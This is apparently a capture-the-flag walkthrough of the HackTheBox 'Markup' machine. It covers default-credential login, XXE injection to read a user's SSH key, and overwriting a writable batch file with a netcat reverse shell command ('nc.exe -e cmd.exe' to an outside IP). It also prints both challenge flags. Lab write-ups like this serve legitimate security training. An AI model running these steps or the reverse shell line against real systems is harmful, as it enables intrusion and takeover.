Markup
Title | Markup |
---|---|
Description | Walkthrough of the “Markup” machine on HackTheBox, featuring enumeration, XML external entity (XXE) injection to gain a user shell, and privilege escalation via writable batch script to SYSTEM. |
Difficulty | Very Easy |
Maker | MrR3boot |
Enumeration
Nmap
|
|
Let’s fuzz directories
From (http://markup.htb/webalizer) we got the version of Apache that is 2.4.41
. Moreover, there is a signin form on homepage.
When I tried some default creds, it worked! admin:password
. After login, when we go to Contact tab, we will see login form on service.php
.
Let’s try to submit the form and intercept the request in burpsuite!
User Flag
It’s XML request, let’s try to do XML Injection. If we see the source code from service.php
file, we will see this comment <!-- Modified by Daniel : UI-Fix-9092-->
. Meaning, there is a user named as Daniel
in the system, we will try to get it’s id_rsa
from account and get the shell as we can see SSH port is enabled.
|
|
Make a file named as id_rsa
and change it’s permission to 400 using chmod 400 id_rsa
and then login with ssh ssh -i id_rsa daniel@markup.htb
. We will get our user flag in Daniel’s desktop folder.
Flag:
032d2fc8952a8c24e39c8f0ee9918ef7
Root Flag
If we go to Log-Management
folder, we will find job.bat
file.
|
|
If we look at this file’s permission, we will see BUILTIN\Users:(I)(RX)
and BUILTIN\Users:(F)
, which means user has full control over this file. Let’s download nc64.exe
and append to this file, so every time when this file gets executed we will get the shell.
Download nc from https://github.com/int0x33/nc.exe/blob/master/nc64.exe
To add the shell inot job.bat
we will use
echo C:\Log-Management\nc.exe -e cmd.exe 10.10.14.243 4444 > C:\Log-Management\job.bat
After a sec, we will get the reverse shell as system.
Flag:
f574a3e7650cebd8c39784299cb570f8